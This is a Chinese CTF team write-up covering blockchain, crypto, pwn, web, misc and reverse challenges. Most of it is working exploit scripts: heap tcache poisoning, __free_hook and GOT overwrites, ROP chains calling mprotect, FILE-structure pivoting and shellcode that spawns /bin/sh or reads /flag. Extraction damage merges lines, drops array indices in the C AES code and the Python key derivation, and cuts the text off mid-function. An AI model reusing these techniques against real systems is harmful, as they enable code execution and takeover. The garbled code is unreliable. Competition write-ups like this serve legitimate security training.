|
本帖最后由 adopi 于 2023-8-28 00:43 编辑
v>Arr3stY0u 战队 WP
一、战队信息
1. 战队名称:Arr3stY0u
2. 战队排名:4
二、解题情况
三、解题过程
blockchain
ToBeEquel
看代码,getFlag()条件需要当前合约的创建者的余额和合约调用者的余额相等,显然是要调
用_Cal 来修改余额的
猜测是由于比赛方对私链做了一些限制,remix 上没办法部署合约和调用函数,所以基本上
所有操作都要用 web3 解决
有合约代码,那也要知道合约地址,题目给了创建者的账户地址和相关的交易哈希,通过这
两个信息,用 web3 找到合约的地址
有了合约地址,开始看怎么调用_Cal 的,_Cal 用了一个 onlyOwner 的修饰器,因此直接调
用是肯定不行的,但是在 CallTest 这个函数里面存在漏洞,to 如果传递的值为合约自己,那
么通过 to.call 就可以绕过 onlyOwner 去调用 call 了,只需要将 abi.encodeWithSignature 的
参数一一对应起来
customFallback 是函数,msg.sender 会和_Cal 中的 balances[owner] -= uint(value & 0xff);进
行与运算,取后面两位,因此需要一个可以指定后缀地址的网站来帮我们生成想要的地址,
https://vanity-eth.tk/
data 猜测是按偏移量去计算的,并不是输入多少 amount 就等于多少,为了方便就设置为
0x00,这种情况下 amount=64,由于 balance[owner]不能一下子直接从 500 减成 64,需要
两次,即 balance[owner]=500-186-186=128,amount=64+64=128,所以生成一个十六进
制后缀为 BA 的地址,最终的代码为
最后再用 web3 发送调用一下 getFlag(),提交交易 hash 即可得到 flag
[+] Welcome!
[+] sha256(HxLTsn53+?).binary.endswith('00000000000000000000')
[-] ?=dACq
[+] passed
We design a pretty easy contract game. Enjoy it!
1. Create a game account
2. Deploy a game contract
3. Request for flag
4. Get Source Code
ps: Option 1, get an account which will be used to deploy the contract;
ps: Option 2, the robot will use the account to deploy the contract for the problem;
ps: Option 3, use this option to obtain the flag after the ForFlag(address addr) event is
triggered;
ps: Option 4, use this option to get source code of contract.
You can finish this challenge in a lot of connections.
^_^ geth attach http://ip:8545
^_^ Get Testnet Ether from http://ip[-] input your choice: 3
[-] input your new token:
s+aFKUUI9tXaKe6xL9tg4Bt5wZ9lbFXFytzrRed/nJ41W6GZQvDSu5C30kUi5+KUYtsCIfsXgsE
bdP6+3Muirorfp0tJwCj7VH/GYUXMGv1lvFHYBWD9jkmEVALG19HnMTCAfbiNZ++bKTIIS
P6UsjTBBldFT3GAYmk80aWRX+/cefGOeELMI2y+bAqf1cTxN0Gjjqt1AOHgTt+cgLEEZw==
[-] input tx_hash that emitted ForFlag event:
0x917d1998612f7246d5d14950a16ec08c5f6e4780303f0a283aff91cde80b2eb1
[+] flag: flag{Make_Two_Equel_Successfully}
crypto
weakrandom
爆破 x 前面部分,截取两组数据用来判断
from pwn import *
from itertools import product
from hashlib import sha256
def sha(sh1,sh2):
dic = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
for i in product(dic, repeat=4):
o = "".join(i)
guess = sha256((o + sh1).encode()).hexdigest()
if guess == sh2:
return o
class WeakRandom:
def __init__(self,seed,n,s):
self.x = seed
self.n = n
self.s = s
def next(self):
x = int((self.x ** 2) // (10 ** (self.s // 2))) % self.n
self.x = x
high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)
low = x & (2 ** 16 - 1)
result = high << 16 | low
return result
def boom(p):
q = 0
o = []
l=[]
for i in range(1<<19):
low1 = p & (2 ** 16 - 1)
result0 = i << 16 | low1 high = (int(hashlib.sha256(str(result0).encode()).hexdigest(), 16) >> 16) & (2 ** 16
- 1)
low = result0 & (2 ** 16 - 1)
result = high << 16 | low
l.append(result)
o.append(result0)
return l,o
def boom1(x,m,p1,p2):
for j in range(len(x)):
if (x[j] == p1):
r = WeakRandom(m[j], n, s0)
r0 = r.next()
if(r0==p2):
x1=(m[j] ** 2) // (10 ** (4 // 2)) % 10000000000
return x1
n = 10000000000
s0 = 4
host = "172.52.118.220"
port = 9998
s=remote(host, port)
a=s.recvline()
x1=a[12:28].decode()
y1=a[33:97].decode()
h=sha(x1,y1)
print(h)
s.sendlineafter(b'Give me XXXX:\n',h.encode())
l=s.recvline()
s.sendlineafter(b'Please your guess :',str(111).encode())
l0=s.recvline()
s.sendlineafter(b'Please your guess :',str(111).encode())
l1=s.recvline()
print(l1,l0)
p1=int(l0[21:])
q1=int(l1[21:])
x,m=boom(p1)
result=boom1(x,m,p1,q1)
print(result)
r=WeakRandom(result,n,s0)
for i in range(20):
r1=r.next()
print(r1)
s.sendlineafter(b'Please your guess :', str(r1).encode())
l2=s.recvline() print(l2)
s.interactive()
mimic
pwn2-1
from pwncli import *
cli_script()
io = gift.io
def add(size,data=''):
sla(':',str(1))
sla(':',str(size))
sla(':',data)
def dele(idx):
sla(':',str(2))
sla(':',str(idx))
def show(idx):
sla(':',str(3))
sla(':',str(idx))
def tip():
sla(':',str(5))
tip()
ru(' tips\n')
bd = int(rn(14),16) - 0x00000000000011F0 +0x1b70
plt = bd - 0x1bac +0x1060
print(hex(bd))
add(0x20)
add(0x20)
dele(0)
dele(1)
add(0x10,p64(bd))
show(0)
ia()
pwn1-1
from pwncli import *cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
sla("thing",'1')
ru("You will find some tricks\n")
leak_elf = int(rl(),16)
log_address_ex2(leak_elf)
elf.address = leak_elf - 0x12A0
eb = elf.address
log_address_ex2(eb)
sl("2")
pd = fmtstr_payload(8,{elf.got.printf:elf.plt.system})
sla("hello",pd)
sl("/bin/sh\x00")
io.interactive()
pwn1
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
sla("thing",'1')
ru("You will find some tricks\n")
leak_elf = int(rl(),16)
log_address_ex2(leak_elf)
elf.address = leak_elf - 0xa94
eb = elf.address
log_address_ex2(eb)
sl("2")
pd = b'%33$p'
sla("hello",pd)
canary = int(ru("00"),16)
log_address_ex2(canary)
pd = flat_z(
{
216:[
eb + 0x0000000000000c73,
eb + 0x202068,
eb + 0xA2C
],
200:canary,
}
)
sl("2")
sla('3$p','fxxk')
sla("hello\n",pd)
io.interactive()web_mimic
对第一段 MD5 解密得到 123,https://www.somd5.com/
对第二段进行 des 解密,https://the-x.cn/cryptography/Des.aspx
得到
1.maybe used first url get random:
/mimic_storage
得到
1107186334
2.maybe used second url get flag:
/getflag?sec=1107186334&path=bAzlsD1ChiFW5eMC5tUokHErPkdjqARE
xxx is:bAzlsD1ChiFW5eMC5tUokHErPkdjqARE
misc
Welcome
flag{Welcome_to_Mimic_Challenge}
babymisc
猜一个 6 位数,15 次机会,多试几次出了
I forgot my bank card password!
Can you help me get it back?
Enter (Y/N) to select start
> Y
Please enter a number:500000
up
Please enter a number:250000
up
Please enter a number:125000
low
Please enter a number:200000
up
Please enter a number:150000
low
Please enter a number:175000
low
Please enter a number:195000
low
Please enter a number:197500
low
Please enter a number:199000
low
Please enter a number:199500
up
Please enter a number:199400
up
Please enter a number:199300
low
Please enter a number:199350
Bingo
Time use:81.31second
To thank you, I'll give you the flag
flag{dBNnL0nLhla33XKJiPw2qRQN7rgKP8uu}pwn
webheap
from pwncli import *
cli_script()
set_remote_libc('libc-2.27.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def add(i, sz):
data = b"\xb9\x80\x05" + b"\x84\x00" + p8(i) + b"\x81" + p16(sz) +
b"\xbd\x80\x01\xbb" + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
def show(i):
data = b"\xb9\x80\x05" + b"\x84\x01" + p8(i) + b"\x81" + p16(0) +
b"\xbd\x80\x01\xbb" + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
def dele(i):
data = b"\xb9\x80\x05" + b"\x84\x02" + p8(i) + b"\x81" + p16(0) +
b"\xbd\x80\x01\xbb" + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
def edit(i, data_: bytes):
data = b"\xb9\x80\x05" + b"\x84\x03" + p8(i) + b"\x81" + p16(0) + b"\xbd\x81" +
p16(len(data_)) + data_ + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
add(0, 0x420)
add(1, 0x30)
dele(0)
show(0)
lbaddr = recv_current_libc_addr()
lb = set_current_libc_base_and_log(lbaddr, 0x3ebca0)dele(1)
edit(1, p64(libc.sym.__free_hook-8))
add(2, 0x30)
add(3, 0x30)
edit(3, b"/bin/sh\x00" + p64(libc.sym.system))
ia()
store
from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt="choice: "):
sla(prompt, i)
def buy(sz, con=None, rem=None):
if not rem:
rem = con
cmd('1')
sla("Size: ", str(sz))
if not con:
return
sa("Content: ", con)
sa("Remark: ", rem)
def throw(i):
cmd('2')
sla("Index: ", str(i))
def edit(i, con, rem=None):
if not rem:
rem = con
cmd('3')
sla("Index: ", str(i))
sa("Content: ", con) sa("Remark: ", rem)
def show(i):
cmd('4')
sla("Index: ", str(i))
def exit_():
cmd('5')
buy(0x800, "deadbeef")
throw(0)
show(0)
lbaddr = recv_current_libc_addr()
leak("lbaddr", lbaddr)
lb = set_current_libc_base_and_log(lbaddr, 0x1ebbe0)
buy(0x10, "deadbeef")
throw(1)
edit(1, "a"*0x10, "a"*0x10)
throw(1)
show(1)
ru("Content: \n")
heapaddr = u64_ex(rn(6))
leak("heapaddr", heapaddr)
tcachebin = lb + 0x1f3570-8
edit(1, p64(tcachebin), p64(tcachebin))
buy(0x10)
buy(0x10)
buy(0x10)
edit(0, flat({
0: [
0, 0, 0, 0x21,
0, 0, 0, 0x291,
7
]
}))
throw(1)staddr = heapaddr + 0x2c0
edit(0, flat_z({
0: [
staddr, 0, 0, 0x21,
0, 0, 0, 0x291,
0
],
0x2c0: [
[
0, 0x21,
staddr+0x20, 0,
0, 0x21,
staddr+0x40, 0,
0, 0x21,
staddr+0x60, 0,
0, 0x21,
staddr+0x80, 0,
0, 0x21,
staddr+0xa0, 0,
0, 0x21,
libc.sym._IO_list_all-0x10, 0,
0, 0x21,
staddr+0x100, 0,
]
]
}))
buy(0x10)
stop()
# 0x000000000005aa48 : leave ; ret
# 0x00000000000256c0 : pop rbp ; ret
# 0x0000000000027529 : pop rsi ; ret
# 0x0000000000026b72 : pop rdi ; ret
# 0x000000000011c371 : pop rdx ; pop r12 ; ret
shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80 mov rsp, 0x500a00
mov rax, 5
push 0x2e
mov rbx, rsp
xor rcx, rcx
int 0x80
mov rbx, rax
mov rax, 0x8d
mov rcx, rsp
mov rdx, 0x1337
int 0x80
add rcx, 0x6a
mov rax, 5
mov rbx, rcx
xor rcx, rcx
xor rdx, rdx
int 0x80
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
''', arch='amd64')
edit(0, flat_z({
0: shellcode,
0x370: [
IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(heapaddr+0x370,
libc.sym._IO_wfile_jumps,
0x000000000005aa48+lb,
0x00000000000256c0 + lb,
heapaddr+0x470) ],
0x470: [
heapaddr+0x1000,
0x0000000000026b72 + lb,
heapaddr & ~0xfff,
0x0000000000027529 + lb,
0x4000,
0x000000000011c371 + lb,
7, 0,
libc.sym.mprotect,
heapaddr
]
}))
exit_()
ia()
only
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt="Choice >> "):
sla(prompt, i)
def initial(sz=0):
cmd('0')
if sz > 0:
sla("Size:", str(sz))
def increace(sz, data="deadbeef"):
cmd('1')
sla("Size:", str(sz))
if len(data) < sz:
sla("Content:", data)
else:
sa("Content:", data)def decreace():
cmd('2')
shellcode = ShellcodeMall.amd64.execveat_bin_sh
def exp():
increace(0xe0)
decreace()
initial()
decreace()
off1 = 0x47f0
off2 = 0xd6a0
off1 &= 0xffff
off2 &= 0xffff
increace(0xe0, p16_ex(off1))
increace(0xe0)
increace(0xe0, flat(0, 0x761, p16(off1+0x10)))
increace(0x60)
decreace()
increace(0x20, p16(off2))
increace(0x60)
increace(0x60, flat(0xfbad1887, 0, 0, 0, "\x00"))
lbaddr = recv_current_libc_addr(timeout=1)
lb = 0
lb = set_current_libc_base_and_log(lbaddr, 0x1eb980)
increace(0xe0, flat({
0x40: libc.sym.__free_hook-0x10
}))
increace(0x78)
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call
qword ptr [rdx + 0x20];
# 0x000000000005e650: mov rsp, rdx; ret; # 0x00000000000656e5: add rsp, 0x10; pop rbx; pop r12; pop r13; ret;
# 0x0000000000027529: pop rsi; ret;
# 0x0000000000026b72: pop rdi; ret;
# 0x000000000011c371: pop rdx; pop r12; ret;
# 0x000000000005aa48: leave; ret;
# 0x00000000000256c0: pop rbp; ret;
increace(0x78, flat_z({
0x8: libc.sym.__free_hook-0x10+0x18,
0x10: lb + 0x0000000000154930,
0x18: lb + 0x00000000000656e5, # rsp
0x38: lb + 0x000000000005e650,
0x48: [
lb + 0x0000000000026b72,
libc.sym._IO_2_1_stderr_,
libc.sym.gets,
libc.sym.exit
]
}))
decreace()
data =
IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
libc.sym._IO_wfile_jumps,
lb +
0x000000000005aa48,
lb +
0x00000000000256c0,
libc.sym._IO_2_1_stderr_ + 0xe0-8)
sl(flat({
0: data,
0xe0: [
0x0000000000026b72 + lb,
libc.sym._IO_2_1_stderr_ & ~0xfff,
0x0000000000027529+lb, 0x1000,
0x000000000011c371+lb, 0x7, 0,
libc.sym.mprotect,
libc.sym._IO_2_1_stderr_ + 0x130
],
0x130: shellcode
})) if lb != 0:
sl("read FLAG < flag ; echo $FLAG")
ia()
exit(0)
else:
ic()
exit(1)
ic()
exp()
import os
for i in range(0x10000):
print("[****] round {}".format(i))
res = os.system("python3 ./exp_only.py re ./only 172.52.118.106:9999 -nl
2>/dev/null")
if res == 0:
break
webheap_revenge
from pwncli import *
cli_script()
set_remote_libc('libc-2.27.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def add(i, sz):
data = b"\xb9\x80\x05" + b"\x84\x00" + p8(i) + b"\x81" + p16(sz) +
b"\xbd\x80\x01\xbb" + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
def show(i):
data = b"\xb9\x80\x05" + b"\x84\x01" + p8(i) + b"\x81" + p16(0) +
b"\xbd\x80\x01\xbb" + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
def dele(i): data = b"\xb9\x80\x05" + b"\x84\x02" + p8(i) + b"\x81" + p16(0) +
b"\xbd\x80\x01\xbb" + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
def edit(i, data_: bytes):
data = b"\xb9\x80\x05" + b"\x84\x03" + p8(i) + b"\x81" + p16(0) + b"\xbd\x81" +
p16(len(data_)) + data_ + b"\x80cd"
sla("Packet length: ", str(len(data)))
sa("Content: ", data)
add(0, 0x420)
add(1, 0x20)
dele(0)
add(0, 0x30)
show(0)
libaddr = recv_current_libc_addr(offset=0x3ec090)
set_current_libc_base_and_log(libaddr)
add(1, 0x30)
add(2, 0x30)
dele(1)
edit(0, b"a"*0x40 + p64(libc.sym.__free_hook-8))
add(3, 0x30)
add(4, 0x30)
edit(4, b"/bin/sh\x00" + p64(libc.sym.system))
ia()
bfbf
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc"""
, 6 getchar
. 5 write
> 1 ++i
< 2 --i
"""
sa("BF_PARSER>>\n", ">"*0x237 + ">."*6 + "<"*5 + "," + ">,"*119)
libcaddr = u64_ex(rn(6)) - 243
leak("libcaddr", libcaddr)
lb = set_current_libc_base_and_log(libcaddr, '__libc_start_main')
"""
0x0000000000023b6a : pop rdi ; ret
0x000000000002601f : pop rsi ; ret
0x0000000000142c92 : pop rdx ; ret
"""
rdi = lb + 0x0000000000023b6a
rsi = lb + 0x000000000002601f
rdx = lb + 0x0000000000142c92
payload = flat([
rdi,
libc.sym.__free_hook & ~0xfff,
rsi, 0x1000,
rdx, 7,
libc.sym.mprotect,
rdi, 0,
rsi, libc.sym.__free_hook & ~0xfff,
rdx, 0x300,
libc.sym.read,
libc.sym.__free_hook & ~0xfff
])
log_ex("len of payload: %d", len(payload))
s(payload)
sleep(1)
s(asm(shellcraft.amd64.linux.close(0) +
shellcraft.amd64.linux.cat("/flag")))
ia()reverse
babyre
32 位 exe,ida 打开,分析 main 函数
输入长度应为 32,sub_CD1483 根据存储在 v8 的密钥生成轮密钥到 v7
sub_CD15FF 对明文进行 AES 加密,需要注意的是,sub_CD15FF 的 AES 加密过程为
先将明文转置,再进行魔改 sbox 的 AES 加密,最后密文再转置回去
通过调试,加密前 16 字节的密钥已知,为 36 行的参数 v8,把它叫做 key1,密文叫做 cipher1
加密后 16 字节的密钥 key2=key1 xor cipher1,于是有
cipher=[0xd8,0x57,0xca,0xc4,0x44,0x44,0x11,0x6e,0x83,0xb,0xdf,0x71,0x67,0x78,0x95,0x7
d,0xb4,0xfc,0x2a,0x70,0x36,0xfe,0x8c,0x4d,0x32,0x8,0xe2,0x44,0x1b,0xc4,0x39,0x3]
cipher1=cipher[:16]
key1=[0x17,0x93,0x38,0xc,0x11,0xa7,0xf7,0x54,0xf7,0x89,0xc8,0x20,0xd4,0x1a,0xfa,0x25]
print(cipher1)
print(key1)
cipher2=cipher[16:]
key2=[cipher1^key1 for i in range(16)]print(cipher2)
print(key2)
# [216, 87, 202, 196, 68, 68, 17, 110, 131, 11, 223, 113, 103, 120, 149, 125]
# [23, 147, 56, 12, 17, 167, 247, 84, 247, 137, 200, 32, 212, 26, 250, 37]
# [180, 252, 42, 112, 54, 254, 140, 77, 50, 8, 226, 68, 27, 196, 57, 3]
# [207, 196, 242, 200, 85, 227, 230, 58, 116, 130, 23, 81, 179, 98, 111, 88]
根据魔改的 sbox,得到相应的逆 sbox
先对密文转置,进行 AES 解密,再对明文转置,便可得到 flag
#include <stdio.h>
#include <stdint.h>
#include <memory.h>
typedef enum {
AES_CYPHER_128,
AES_CYPHER_192,
AES_CYPHER_256,
} AES_CYPHER_T;
/*
* Encryption Rounds
*/
int g_aes_key_bits[] = {
/* AES_CYPHER_128 */ 128,
/* AES_CYPHER_192 */ 192,
/* AES_CYPHER_256 */ 256,
};
int g_aes_rounds[] = {
/* AES_CYPHER_128 */ 10,
/* AES_CYPHER_192 */ 12,
/* AES_CYPHER_256 */ 14,
};
int g_aes_nk[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 6,
/* AES_CYPHER_256 */ 8,
};
int g_aes_nb[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 4,
/* AES_CYPHER_256 */ 4,
};/*
* aes Rcon:
*
* WARNING: Rcon is designed starting from 1 to 15, not 0 to 14.
* FIPS-197 Page 9: "note that i starts at 1, not 0"
*
* i | 0 1 2 3 4 5 6 7 8 9 10 11
12 13 14
* -----+---------------------------------------------------------------------
---------------------
* | [01] [02] [04] [08] [10] [20] [40] [80] [1b] [36] [6c] [d8] [ab]
[4d] [9a]
* RCON | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00]
*/
static const uint32_t g_aes_rcon[] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000,
0x40000000, 0x80000000,
0x1b000000, 0x36000000, 0x6c000000, 0xd8000000, 0xab000000, 0xed000000,
0x9a000000
};
/*
* aes sbox and invert-sbox
*/
static const uint8_t g_aes_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B
C D E F */
0x77,0x68,0x63,0x6f,0xe6,0x7f,0x7b,0xd1,0x24,0x15,0x73,0x3f,0xea,0xc3,0xbf,0x62,0xd
e,0x96,0xdd,0x69,0xee,0x4d,0x53,0xe4,0xb9,0xc0,0xb6,0xbb,0x88,0xb0,0x66,0xd4,0xa3,0xe
9,0x87,0x32,0x22,0x2b,0xe3,0xd8,0x20,0xb1,0xf1,0xe5,0x65,0xcc,0x25,0x1,0x10,0xd3,0x37,
0xd7,0xc,0x82,0x11,0x8e,0x13,0x6,0x94,0xf6,0xff,0x33,0xa6,0x61,0x1d,0x97,0x38,0xe,0xf,0x
7a,0x4e,0xb4,0x46,0x2f,0xc2,0xa7,0x3d,0xf7,0x3b,0x90,0x47,0xc5,0x14,0xf9,0x34,0xe8,0xa5
,0x4f,0x7e,0xdf,0xaa,0x2d,0x5e,0x58,0x4c,0xdb,0xc4,0xfb,0xbe,0xef,0x57,0x59,0x27,0x91,0x
51,0xed,0x16,0x6b,0x44,0x28,0x8b,0xbc,0x45,0xb7,0x54,0x9b,0x86,0x89,0x2c,0xe1,0xa8,0x
a2,0xce,0x35,0x4,0xeb,0xe7,0xc6,0xd9,0x18,0x7,0xf8,0x4b,0x83,0x50,0x3,0xd0,0xb3,0x6a,0
x29,0x70,0x49,0xd,0x67,0x74,0x95,0x5b,0xc8,0x36,0x3e,0x84,0x9c,0x52,0xfa,0xac,0x0,0xca,
0x4a,0x1f,0xcf,0xf4,0x26,0x2e,0x1e,0x5d,0x12,0x30,0x48,0xd6,0xc7,0xb8,0x76,0x85,0x81,0x
f0,0x6d,0xf3,0xdc,0x23,0x79,0x99,0xc1,0x5a,0xbd,0x78,0x42,0xe0,0xfe,0x71,0x6e,0xba,0x1c
,0xae,0x6c,0x31,0x3a,0x8,0xb2,0xa0,0xd2,0xfc,0xc9,0x60,0xb,0x5f,0xa9,0x9f,0x9e,0x64,0x2a,0xa1,0x72,0x5c,0x17,0xe2,0x1a,0x75,0x21,0x43,0xad,0x92,0xd5,0x9,0x8a,0xf5,0xec,0x8c,0x
5,0x7d,0xcd,0x9a,0x80,0x8f,0xa,0x93,0xfd,0xda,0x41,0x3c,0xcb,0x98,0xb5,0x9d,0x19,0xab,0
xf2,0x56,0x7c,0x55,0x8d,0x39,0x1b,0xa4,0x40,0xaf,0x2
};
static const uint8_t g_inv_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B
C D E F */
0x9B,0x2F,0xFF,0x87,0x7C,0xE3,0x39,0x82,0xC4,0xDE,0xE9,0xCB,0x34,0x8E,0x43,0x44,
0x30,0x36,0xA5,0x38,0x52,0x09,0x6A,0xD5,0x81,0xF3,0xD7,0xFB,0xBF,0x40,0xA3,0x9E,0x28
,0xD9,0x24,0xB2,0x08,0x2E,0xA1,0x66,0x6D,0x8B,0xD1,0x25,0x76,0x5B,0xA2,0x49,0xA6,0x
C2,0x23,0x3D,0x54,0x7B,0x94,0x32,0x42,0xFA,0xC3,0x4E,0xEE,0x4C,0x95,0x0B,0xFD,0xED,0
xB9,0xDA,0x6C,0x70,0x48,0x50,0xA7,0x8D,0x9D,0x84,0x5E,0x15,0x46,0x57,0x86,0x68,0x98,
0x16,0x72,0xF8,0xF6,0x64,0x5D,0x65,0xB6,0x92,0xD4,0xA4,0x5C,0xCC,0xCA,0x3F,0x0F,0x0
2,0xD0,0x2C,0x1E,0x8F,0x01,0x13,0x8A,0x6B,0xC1,0xAF,0xBD,0x03,0x8C,0xBC,0xD3,0x0A,0
x90,0xD8,0xAB,0x00,0xB8,0xB3,0x45,0x06,0xF7,0xE4,0x58,0x05,0xE7,0xAD,0x35,0x85,0x96,
0xAC,0x74,0x22,0x1C,0x75,0xDF,0x6E,0xE2,0xF9,0x37,0xE8,0x4F,0x67,0xDC,0xEA,0x3A,0x9
1,0x11,0x41,0xF0,0xB4,0xE6,0x73,0x97,0xF2,0xCF,0xCE,0xC6,0xD2,0x79,0x20,0xFC,0x56,0x3
E,0x4B,0x78,0xCD,0x5A,0xF4,0x9A,0xDB,0xC0,0xFE,0x1D,0x29,0xC5,0x89,0x47,0xF1,0x1A,0
x71,0xAA,0x18,0xBE,0x1B,0x6F,0xB7,0x62,0x0E,0x19,0xB5,0x4A,0x0D,0x60,0x51,0x7F,0xA9,
0x93,0xC9,0x9C,0xEF,0x2D,0xE5,0x7A,0x9F,0x88,0x07,0xC7,0x31,0x1F,0xDD,0xA8,0x33,0x2
7,0x80,0xEC,0x5F,0xB1,0x12,0x10,0x59,0xBA,0x77,0xD6,0x26,0x17,0x2B,0x04,0x7E,0x55,0x2
1,0x0C,0x7D,0xE1,0x69,0x14,0x63,0xAE,0x2A,0xF5,0xB0,0xA0,0xE0,0x3B,0x4D,0x83,0x53,0x
99,0x61,0xC8,0xEB,0xBB,0x3C
};
uint8_t aes_sub_sbox(uint8_t val)
{
return g_aes_sbox[val];
}
uint32_t aes_sub_dword(uint32_t val)
{
uint32_t tmp = 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 0) & 0xFF))) << 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 8) & 0xFF))) << 8;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;
return tmp;
}
uint32_t aes_rot_dword(uint32_t val)
{uint32_t tmp = val;
return (val >> 8) | ((tmp & 0xFF) << 24);
}
uint32_t aes_swap_dword(uint32_t val)
{
return (((val & 0x000000FF) << 24) |
((val & 0x0000FF00) << 8) |
((val & 0x00FF0000) >> 8) |
((val & 0xFF000000) >> 24));
}
/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8))
*/
void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
uint32_t *w = (uint32_t *)round;
uint32_t t;
int i = 0;
do {
w = *((uint32_t *)&key[i * 4 + 0]);
} while (++i < g_aes_nk[mode]);
do {
if ((i % g_aes_nk[mode]) == 0) {
t = aes_rot_dword(w[i - 1]);
t = aes_sub_dword(t);
t = t ^ aes_swap_dword(g_aes_rcon[i / g_aes_nk[mode] - 1]);
}
else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
t = aes_sub_dword(w[i - 1]);
}
else {
t = w[i - 1];
}
w = w[i - g_aes_nk[mode]] ^ t;
} while (++i < g_aes_nb[mode] * (g_aes_rounds[mode] + 1));
}void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,uint8_t *round, int nr)
{
uint32_t *w = (uint32_t *)round;
uint32_t *s = (uint32_t *)state;
int i;
for (i = 0; i < g_aes_nb[mode]; i++) {
s ^= w[nr * g_aes_nb[mode] + i];
}
}
void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
}
}
}
void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < i; j++) {
uint8_t tmp = s;
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}
uint8_t aes_xtime(uint8_t x)
{
return ((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}
uint8_t aes_xtimes(uint8_t x, int ts){
while (ts-- > 0) {
x = aes_xtime(x);
}
return x;
}
uint8_t aes_mul(uint8_t x, uint8_t y)
{
/*
* encrypt: y has only 2 bits: can be 1, 2 or 3
* decrypt: y could be any value of 9, b, d, or e
*/
return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^
(((y >> 1) & 1) * aes_xtimes(x, 1)) ^
(((y >> 2) & 1) * aes_xtimes(x, 2)) ^
(((y >> 3) & 1) * aes_xtimes(x, 3)) ^
(((y >> 4) & 1) * aes_xtimes(x, 4)) ^
(((y >> 5) & 1) * aes_xtimes(x, 5)) ^
(((y >> 6) & 1) * aes_xtimes(x, 6)) ^
(((y >> 7) & 1) * aes_xtimes(x, 7)));
}
void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2 };
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
int nr, i, j;
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
